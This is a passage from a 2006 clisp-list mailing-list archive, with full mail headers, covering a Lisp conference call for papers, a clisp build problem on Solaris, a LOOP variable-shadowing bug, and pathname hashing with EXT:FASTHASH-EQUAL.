compilers in /usr/local/languages/${language}-${version} and make a symlink named /usr/local/languages/${language} on the version I want to use, plus symlinks from /usr/local/bin and possibly from /usr/local/lib and usr/local/man to /usr/local/languages/${language}/* as needed. This allows easy interactive use of the latest version, while the applications in production can use the exact version they're compiled for using the absolute paths like /usr/local/languages/clisp-2.38/bin/cli= sp It would be totally useless to put all of these bin in the PATH, since only the first one could be lauched thru the path. --=20 __Pascal Bourguignon__ http://www.informatimago.com/ PLEASE NOTE: Some quantum physics theories suggest that when the consumer is not directly observing this product, it may cease to exist or will exist only in a vague and undetermined state. From pc@p-cos.net Fri Oct 20 07:51:05 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GaviC-0000An-Vy for clisp-list@lists.sourceforge.net; Fri, 20 Oct 2006 07:51:05 -0700 Received: from smtp.vub.ac.be ([134.184.129.10] helo=dorado.vub.ac.be) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GaviB-0005mq-60 for clisp-list@lists.sourceforge.net; Fri, 20 Oct 2006 07:51:04 -0700 Received: from prog2.vub.ac.be (prog2.vub.ac.be [134.184.43.10]) by dorado.vub.ac.be (Postfix) with ESMTP id 64E7A256 for ; Fri, 20 Oct 2006 16:50:57 +0200 (CEST) Received: from [134.184.43.64] (progpc14.vub.ac.be [134.184.43.64]) by prog2.vub.ac.be (Postfix) with ESMTP id 5B9BC5591D0 for ; Fri, 20 Oct 2006 16:50:57 +0200 (CEST) Mime-Version: 1.0 (Apple Message framework v752.2) Content-Transfer-Encoding: 7bit Message-Id: <0795123D-4DA4-41F2-8AC0-7A112FBD18E3@p-cos.net> Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed To: clisp-list@lists.sourceforge.net From: Pascal Costanza Date: Fri, 20 Oct 2006 16:50:57 +0200 X-Mailer: Apple Mail (2.752.2) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] [CfP] International Lisp Conference '07 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 20 Oct 2006 14:51:06 -0000 +----------------------------------------------------------------------+ | | | INTERNATIONAL LISP CONFERENCE 2007 | | | | http://www.international-lisp-conference.org | | | | Clare College, Cambridge, England - April 1-4, 2007 | | | +----------------------------------------------------------------------+ Sponsored by: The Association of Lisp Users General Information: The Association of Lisp Users is pleased to announce the 2007 International Lisp Conference will be held in Cambridge, England at Clare College from April 1st to 4th, 2007. We encourage submissions in diverse areas, including but not limited to: language design and implementation, software engineering, mathematical and scientific computing, artificial intelligence, data mining, business intelligence, bioinformatics, telecommunications and networking, the semantic web, music, and entertainment technologies. Alongside our usual four day program of tutorials and prominent invited speakers, and excellent technical sessions, this year there will also be workshops and demonstrations sessions. The official language of the conference is English. Further details are available at the conference web site. Technical Program: Original submissions in all areas related to the conference themes are invited for the following categories. Papers: Technical papers of up to 15 pages that describe original results, and/or extended abstracts of 4 pages with full papers sent soon after. Demonstrations: Abstracts of up to 2 pages for demonstrations of tools, libraries and applications. Workshops: Abstracts of up to 2 pages for groups of people who intend to work on a focussed topic for half a day. Tutorials: Abstracts of up to 2 pages for indepth presentations about topics of special interest for 90 - 180 minutes. Panel discussions: Abstracts of up to 2 pages for discussions about current themes. Panel discussion proposals must mention panel member who are willing to partake in a discussion. Important Dates: Please send contributions before the submission deadline to the program committe (ilc07-program-committee at alu.org). Deadline for abstract submissions: December 15, 2006 Notification of acceptance or rejection: February 5, 2007 Deadline for final paper submissions: March 2, 2007 Organizing Committee: Co-Chairs: Carl Shapiro (SRI International) Pascal Costanza (Vrije Universiteit Brussel) Members: Rusty Johnson (ALU) Peter Lindahl (ALU) Program Chair: JonL White (The Ginger Ice Cream Factory / ALU) Contact: ilc07-program-committee at alu.org Local chair: Nick Levine (Ravenbrook / ALU) General correspondence: ilc07-organizing-committee at alu.org From raymond.toy@ericsson.com Mon Oct 23 09:54:04 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Gc33s-0004Fq-00 for clisp-list@lists.sourceforge.net; Mon, 23 Oct 2006 09:54:04 -0700 Received: from imr1.ericy.com ([198.24.6.9]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1Gc33n-0005rn-Em for clisp-list@lists.sourceforge.net; Mon, 23 Oct 2006 09:54:03 -0700 Received: from eusrcmw750.eamcs.ericsson.se (eusrcmw750.exu.ericsson.se [138.85.77.50]) by imr1.ericy.com (8.13.1/8.13.1) with ESMTP id k9NGrbm9008135 for ; Mon, 23 Oct 2006 11:53:37 -0500 Received: from eusrcmw750.eamcs.ericsson.se ([138.85.77.53]) by eusrcmw750.eamcs.ericsson.se with Microsoft SMTPSVC(6.0.3790.1830); Mon, 23 Oct 2006 11:53:37 -0500 Received: from brtps071 ([147.117.93.71]) by eusrcmw750.eamcs.ericsson.se with Microsoft SMTPSVC(6.0.3790.1830); Mon, 23 Oct 2006 11:53:36 -0500 To: CLISP Mailing List From: Raymond Toy Date: Mon, 23 Oct 2006 12:53:34 -0400 Message-ID: User-Agent: Gnus/5.1007 (Gnus v5.10.7) XEmacs/21.5-b27 (usg-unix-v) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-OriginalArrivalTime: 23 Oct 2006 16:53:37.0335 (UTC) FILETIME=[C8BA5C70:01C6F6C3] X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] Problems building 2.41 on Solaris X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 23 Oct 2006 16:54:04 -0000 I'm trying to build clisp 2.41 on Solaris (sparc). I downloaded libsigsegv and built that just fine. For various reasons, that is installed in /apps/public/solaris2.8/. When I try to configure clisp with --with-libsigsegv-prefix=/apps/public/solaris2.8, configure can't find the ligsigsegv header file or libs. If I look at build/config.log, it's easy to see why: configure:23837: checking for libsigsegv configure:23862: gcc -o conftest -g -O2 conftest.c -lnsl -lsocket -lsigsegv >&5 That is, it didn't put in a -I or -L to specify the path to the libsigsegv installation. Why it didn't do that, I don't know. Hints on where to look to fix this would be appreciated. This also fails with --with-readline-prefix too. I didn't check config.log to look, but I suspect it's the same problem. Ray From zellerin@gmail.com Fri Oct 27 00:07:19 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GdLoF-0007W1-5B for clisp-list@lists.sourceforge.net; Fri, 27 Oct 2006 00:07:19 -0700 Received: from nf-out-0910.google.com ([64.233.182.184]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GdLoD-000502-IC for clisp-list@lists.sourceforge.net; Fri, 27 Oct 2006 00:07:18 -0700 Received: by nf-out-0910.google.com with SMTP id p46so1738058nfa for ; Fri, 27 Oct 2006 00:07:14 -0700 (PDT) Received: by 10.49.26.18 with SMTP id d18mr356989nfj; Fri, 27 Oct 2006 00:07:13 -0700 (PDT) Received: by 10.49.54.12 with HTTP; Fri, 27 Oct 2006 00:07:13 -0700 (PDT) Message-ID: Date: Fri, 27 Oct 2006 09:07:13 +0200 From: "Tomas Zellerin" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] loop for vars on vars X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 27 Oct 2006 07:07:19 -0000 Hello, It appears that following construct behaves different than expected in clisp (2.40 and 2.41, Linux and Windows tried): (let ((vars '(1 2 3 4))) (loop for i from 0 to 10 for vars on vars do (print vars))) => nil The expansion (macroexpand-1 '(loop for i from 0 to 10 for vars on vars do (print vars))) shows the reason. (MACROLET ((LOOP-FINISH NIL (SYSTEM::LOOP-FINISH-ERROR))) (BLOCK NIL (LET ((I 0)) (PROGN (LET ((VARS NIL)) ; <-------- here (LET NIL (LET NIL (MACROLET ((LOOP-FINISH NIL '(GO SYSTEM::END-LOOP))) (TAGBODY (SETQ VARS VARS) SYSTEM::BEGIN-LOOP (WHEN (> I 10) (LOOP-FINISH)) (WHEN (ATOM VARS) (LOOP-FINISH)) (PROGN (PROGN (PRINT VARS))) (PSETQ I (+ I 1)) (PSETQ VARS (CDR VARS)) (GO SYSTEM::BEGIN-LOOP) SYSTEM::END-LOOP (MACROLET ((LOOP-FINISH NIL (SYSTEM::LOOP-FINISH-WARN) '(GO SYSTEM::END-LOOP))))))))))))) Is this a bug? Without the for i from 0 to 10 clause it appears to work as expected. The construction is used in Ironclad macros expansion, so it is not an academical example, however unfortunate the duplication of variable name may be. Regards, Tomas From kavenchuk@jenty.by Fri Oct 27 00:29:58 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GdMAA-00015y-9Z for clisp-list@lists.sourceforge.net; Fri, 27 Oct 2006 00:29:58 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GdMA3-0004NP-Qm for clisp-list@lists.sourceforge.net; Fri, 27 Oct 2006 00:29:58 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id VRTNW9MA; Fri, 27 Oct 2006 10:32:38 +0300 Message-ID: <4541B56F.7010808@jenty.by> Date: Fri, 27 Oct 2006 10:29:51 +0300 From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.8.0.7) Gecko/20060910 SeaMonkey/1.0.5 MIME-Version: 1.0 To: Tomas Zellerin References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] loop for vars on vars X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 27 Oct 2006 07:29:59 -0000 Tomas Zellerin wrote: > (let ((vars '(1 2 3 4))) > (loop for i from 0 to 10 for vars on vars do (print vars))) "for varS on varS"? May be you meant "for var on varS"? -- WBR, Yaroslav Kavenchuk. From zellerin@gmail.com Fri Oct 27 03:10:50 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GdOfp-0007jy-R1 for clisp-list@lists.sourceforge.net; Fri, 27 Oct 2006 03:10:50 -0700 Received: from nf-out-0910.google.com ([64.233.182.191]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GdOfp-00047E-9p for clisp-list@lists.sourceforge.net; Fri, 27 Oct 2006 03:10:49 -0700 Received: by nf-out-0910.google.com with SMTP id p46so1799536nfa for ; Fri, 27 Oct 2006 03:10:46 -0700 (PDT) Received: by 10.48.254.1 with SMTP id b1mr6893397nfi; Fri, 27 Oct 2006 03:10:45 -0700 (PDT) Received: by 10.49.54.12 with HTTP; Fri, 27 Oct 2006 03:10:45 -0700 (PDT) Message-ID: Date: Fri, 27 Oct 2006 12:10:45 +0200 From: "Tomas Zellerin" To: "Yaroslav Kavenchuk" In-Reply-To: <4541D971.1040609@jenty.by> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <4541D971.1040609@jenty.by> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] loop for vars on vars X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 27 Oct 2006 10:10:50 -0000 On 10/27/06, Yaroslav Kavenchuk wrote: > Tomas Zellerin wrote: > > On 10/27/06, Yaroslav Kavenchuk wrote: > >> Tomas Zellerin wrote: > >>> (let ((vars '(1 2 3 4))) > >>> (loop for i from 0 to 10 for vars on vars do (print vars))) > >> "for varS on varS"? May be you meant "for var on varS"? > >> > > No. This is the reason of the problem. And it would probably be for > > var IN vars, then :) > > > > See ironclad source sha1.lisp if you dont believe it is actually used. > > Looks strange, but I dont see from CLSH why it should not be valid > > code. > > You have specially answered only to me? > oops, my mistake, sorry . It should go to the list. > tests on sbcl: > > * (loop for i from 0 to 10 for vars on vars do (print vars)) > > (1 2 3 4) > (2 3 4) > (3 4) > (4) > NIL > * (loop for i from 0 to 10 for vars in vars do (print vars)) > > 1 > 2 > 3 > 4 > NIL > * Yes, I know it works on sbcl. From bradreed1@gmail.com Fri Oct 27 05:03:08 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GdQQW-0001Dl-H0 for clisp-list@lists.sourceforge.net; Fri, 27 Oct 2006 05:03:08 -0700 Received: from ug-out-1314.google.com ([66.249.92.172]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GdQQS-0008Rn-3f for clisp-list@lists.sourceforge.net; Fri, 27 Oct 2006 05:03:08 -0700 Received: by ug-out-1314.google.com with SMTP id p27so656911ugc for ; Fri, 27 Oct 2006 05:02:58 -0700 (PDT) Received: by 10.67.119.9 with SMTP id w9mr4802024ugm; Fri, 27 Oct 2006 05:02:57 -0700 (PDT) Received: from galactus.example.org ( [62.139.139.109]) by mx.google.com with ESMTP id m1sm413112ugc.2006.10.27.05.02.56; Fri, 27 Oct 2006 05:02:57 -0700 (PDT) Date: Fri, 27 Oct 2006 14:02:42 +0200 From: Bradley Reed To: clisp-list@lists.sourceforge.net Message-ID: <20061027140242.05834331@galactus.example.org> In-Reply-To: References: X-Mailer: Sylpheed-Claws 2.5.6 (GTK+ 2.10.6; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 0.9 UPPERCASE_50_75 message body is 50-75% uppercase Subject: Re: [clisp-list] loop for vars on vars X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 27 Oct 2006 12:03:09 -0000 On Fri, 27 Oct 2006 09:07:13 +0200 "Tomas Zellerin" wrote: > The expansion > (macroexpand-1 '(loop for i from 0 to 10 for vars on vars do (print > vars))) shows the reason. > > (MACROLET ((LOOP-FINISH NIL (SYSTEM::LOOP-FINISH-ERROR))) > (BLOCK NIL > (LET ((I 0)) > (PROGN > (LET ((VARS NIL)) ; <-------- here > (LET NIL > (LET NIL > (MACROLET ((LOOP-FINISH NIL '(GO SYSTEM::END-LOOP))) > (TAGBODY (SETQ VARS VARS) SYSTEM::BEGIN-LOOP > (WHEN (> I 10) (LOOP-FINISH)) (WHEN (ATOM VARS) > (LOOP-FINISH)) (PROGN (PROGN (PRINT VARS))) (PSETQ I (+ I 1)) (PSETQ > VARS (CDR VARS)) (GO SYSTEM::BEGIN-LOOP) SYSTEM::END-LOOP > (MACROLET > ((LOOP-FINISH NIL (SYSTEM::LOOP-FINISH-WARN) > '(GO SYSTEM::END-LOOP))))))))))))) > It doesn't seem to me that that line is necessarily the problem, although I am not a clisp guru. In clisp 2.39... [1]> (setf vars '(1 2 3 4)) (1 2 3 4) [2]> (setf vars1 '(1 2 3 4)) (1 2 3 4) [3]> (loop for i from 0 to 10 for vars on vars1 do (print vars)) (1 2 3 4) (2 3 4) (3 4) (4) NIL [4]> (macroexpand-1 '(loop for i from 0 to 10 for vars on vars1 do (print vars))) (MACROLET ((LOOP-FINISH NIL (SYSTEM::LOOP-FINISH-ERROR))) (BLOCK NIL (LET ((I 0)) (PROGN (LET ((VARS NIL)) (LET NIL (LET NIL (MACROLET ((LOOP-FINISH NIL '(GO SYSTEM::END-LOOP))) (TAGBODY (SETQ VARS VARS1) SYSTEM::BEGIN-LOOP (WHEN (> I 10) (LOOP-FINISH)) (WHEN (ATOM VARS) (LOOP-FINISH)) (PROGN (PROGN (PRINT VARS))) (PSETQ I (+ I 1)) (PSETQ VARS (CDR VARS)) (GO SYSTEM::BEGIN-LOOP) SYSTEM::END-LOOP (MACROLET ((LOOP-FINISH NIL (SYSTEM::LOOP-FINISH-WARN) '(GO SYSTEM::END-LOOP))))))))))))) ; T Has the same (LET ((VARS NIL)) line but works. Perhaps it is using the wrong VARS in the (SETQ VARS VARS) segment? From pjb@informatimago.com Sun Oct 29 12:43:49 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GeHVU-0005sJ-Gq for clisp-list@lists.sourceforge.net; Sun, 29 Oct 2006 12:43:48 -0800 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GeHVR-0002xI-Lc for clisp-list@lists.sourceforge.net; Sun, 29 Oct 2006 12:43:48 -0800 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 4D0ED585EF; Sun, 29 Oct 2006 21:43:37 +0100 (CET) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id A7A6F585E6; Sun, 29 Oct 2006 21:43:30 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 4BAE712AD83; Sun, 29 Oct 2006 21:43:30 +0100 (CET) From: Pascal Bourguignon To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&; A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA; v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Message-Id: <20061029204330.4BAE712AD83@thalassa.informatimago.com> Date: Sun, 29 Oct 2006 21:43:30 +0100 (CET) X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-5.9 required=5.0 tests=ALL_TRUSTED,BAYES_00, UPPERCASE_25_50 autolearn=ham version=3.0.1 X-Spam-Level: Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] EXT:FASTHASH-EQUAL on pathnames doesn't always return expected value... X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: pjb@informatimago.com List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 29 Oct 2006 20:43:49 -0000 P[98]> (block nil (maphash (lambda (k v) (print k) (return)) *source-file= -db*)) #P"/a6/users/pjb/src/public/lisp/clisp/susv3-xsi.lisp"=20 NIL P[99]> (gethash #P"/a6/users/pjb/src/public/lisp/clisp/susv3-xsi.lisp" *= source-file-db*) NIL ; NIL P[100]> (hash-table-test *source-file-db*) EXT:FASTHASH-EQUAL P[101]> (equal #P"/a6/users/pjb/src/public/lisp/clisp/susv3-xsi.lisp" (block nil (maphash (lambda (k v) (print k) (return)) *sou= rce-file-db*))) #P"/a6/users/pjb/src/public/lisp/clisp/susv3-xsi.lisp"=20 NIL P[102]> (ext:fasthash-equal #P"/a6/users/pjb/src/public/lisp/clisp/susv3-= xsi.lisp" (block nil (maphash (lambda (k v) (print k) (r= eturn)) *source-file-db*))) #P"/a6/users/pjb/src/public/lisp/clisp/susv3-xsi.lisp"=20 NIL P[103]> (gethash (print (ext:fasthash-equal #P"/a6/users/pjb/src/public/l= isp/clisp/susv3-xsi.lisp" (block nil (maphash (lambda (k v) (print k) (re= turn)) *source-file-db*)))) *source-file-db*) #P"/a6/users/pjb/src/public/lisp/clisp/susv3-xsi.lisp" ; (print k) NIL ; (print (ext:fas= thash-equal ...)) NIL ; =20 NIL EXT:FASTHASH-EQUAL on pathnames seems to return a random value... P[108]> (cl-user::print-bug-report-info) LISP-IMPLEMENTATION-TYPE "CLISP" LISP-IMPLEMENTATION-VERSION "2.39 (2006-07-16) (built 3364813332) (memor= y 3364813922)" SOFTWARE-TYPE =20 "gcc -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-typ= e -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations = -falign-functions=3D4 -DUNICODE -DDYNAMIC_FFI -I. -x none libcharset.a li= bavcall.a libcallback.a -lreadline -lncurses -ldl -lsigsegv -L/usr/X11R= 6/lib SAFETY=3D0 HEAPCODES LINUX_NOEXEC_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS S= PVW_MIXED TRIVIALMAP_MEMORY libsigsegv 2.4 libreadline 4.3" SOFTWARE-VERSION "GNU C 3.3 20030226 (prerelease) (SuSE Linux= )" MACHINE-INSTANCE "thalassa.informatimago.com [62.93.174.79]" MACHINE-TYPE "I686" MACHINE-VERSION "I686" *FEATURES* =20 (:SUSV3-XSI :SUSV3-MC3 :SUSV3 :COM.INFORMATIMAGO.PJB :ASDF-INSTALL :SPLIT= -SEQUENCE :ASDF :WILDCARD :RAWSOCK :PCRE :CLX-ANSI-COMMON-LISP :CLX :ZLIB :READLINE :REGEXP :SYSCA= LLS :I18N :LOOP :COMPILER :CLOS :MOP :CLISP :ANSI-CL :COMMON-LISP :LISP=3DCL :INTERPRETER :SOCKETS= :GENERIC-STREAMS :LOGICAL-PATHNAMES :SCREEN :FFI :GETTEXT :UNICODE :BASE-CHAR=3DCHARACTER= :PC386 :UNIX) I cannot test it in 2.41 because it doesn't compile. --=20 __Pascal Bourguignon__ http://www.informatimago.com/ ATTENTION: Despite any other listing of product contents found herein, the consumer is advised that, in actuality, this product consists of 99.9999999999% empty space. From sds@gnu.org Mon Oct 30 06:02:19 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GeXiV-00086M-JG for clisp-list@lists.sourceforge.net; Mon, 30 Oct 2006 06:02:19 -0800 Received: from janestcapital.com ([66.155.124.107]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GeXiN-0004Kz-Aq for clisp-list@lists.sourceforge.net; Mon, 30 Oct 2006 06:02:19 -0800 Received: from [192.168.250.217] [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id A5D81FD600AC; Mon, 30 Oct 2006 09:02:00 -0500 Message-ID: <454605D6.4090503@gnu.org> Date: Mon, 30 Oct 2006 09:01:58 -0500 From: Sam Steingold User-Agent: Thunderbird 1.5.0.7 (X11/20060913) MIME-Version: 1.0 To: pjb@informatimago.com, clisp-list@lists.sourceforge.net References: <20061029204330.4BAE712AD83@thalassa.informatimago.com> In-Reply-To: <20061029204330.4BAE712AD83@thalassa.informatimago.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] EXT:FASTHASH-EQUAL on pathnames doesn't always return expected value... X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 30 Oct 2006 14:02:20 -0000 Pascal Bourguignon wrote: > P[98]> (block nil (maphash (lambda (k v) (print k) (return)) *source-file-db*)) > > #P"/a6/users/pjb/src/public/lisp/clisp/susv3-xsi.lisp" > NIL > P[99]> (gethash #P"/a6/users/pjb/src/public/lisp/clisp/susv3-xsi.lisp" *source-file-db*) > NIL ; > NIL pathnames are not printed readably. things like :version can be nil or newest without affecting the printed representation. the two identically printed pathnames above are probably different in that respect. > I cannot test it in 2.41 because it doesn't compile. did you file a bug report? does 2.40 compile? Sam. From pjb@informatimago.com Mon Oct 30 07:24:29 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GeZ01-0007Rw-1g for clisp-list@lists.sourceforge.net; Mon, 30 Oct 2006 07:24:29 -0800 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GeYzu-0003kI-MZ for clisp-list@lists.sourceforge.net; Mon, 30 Oct 2006 07:24:28 -0800 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 5D117585EF; Mon, 30 Oct 2006 16:24:10 +0100 (CET) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id C5F3D585E6; Mon, 30 Oct 2006 16:24:08 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 179CFD9D; Mon, 30 Oct 2006 16:24:08 +0100 (CET) From: Pascal Bourguignon Message-ID: <17734.6424.54992.124611@thalassa.informatimago.com> Date: Mon, 30 Oct 2006 16:24:08 +0100 To: clisp-list@lists.sourceforge.net In-Reply-To: <454605D6.4090503@gnu.org> References: <20061029204330.4BAE712AD83@thalassa.informatimago.com> <454605D6.4090503@gnu.org> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&; A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA; v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-5.9 required=5.0 tests=ALL_TRUSTED,BAYES_00 autolearn=ham version=3.0.1 X-Spam-Level: Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] #P vs. TRUENAME consistency Was: EXT:FASTHASH-EQUAL on pathnames doesn't always return expected value... X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: pjb@informatimago.com List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , 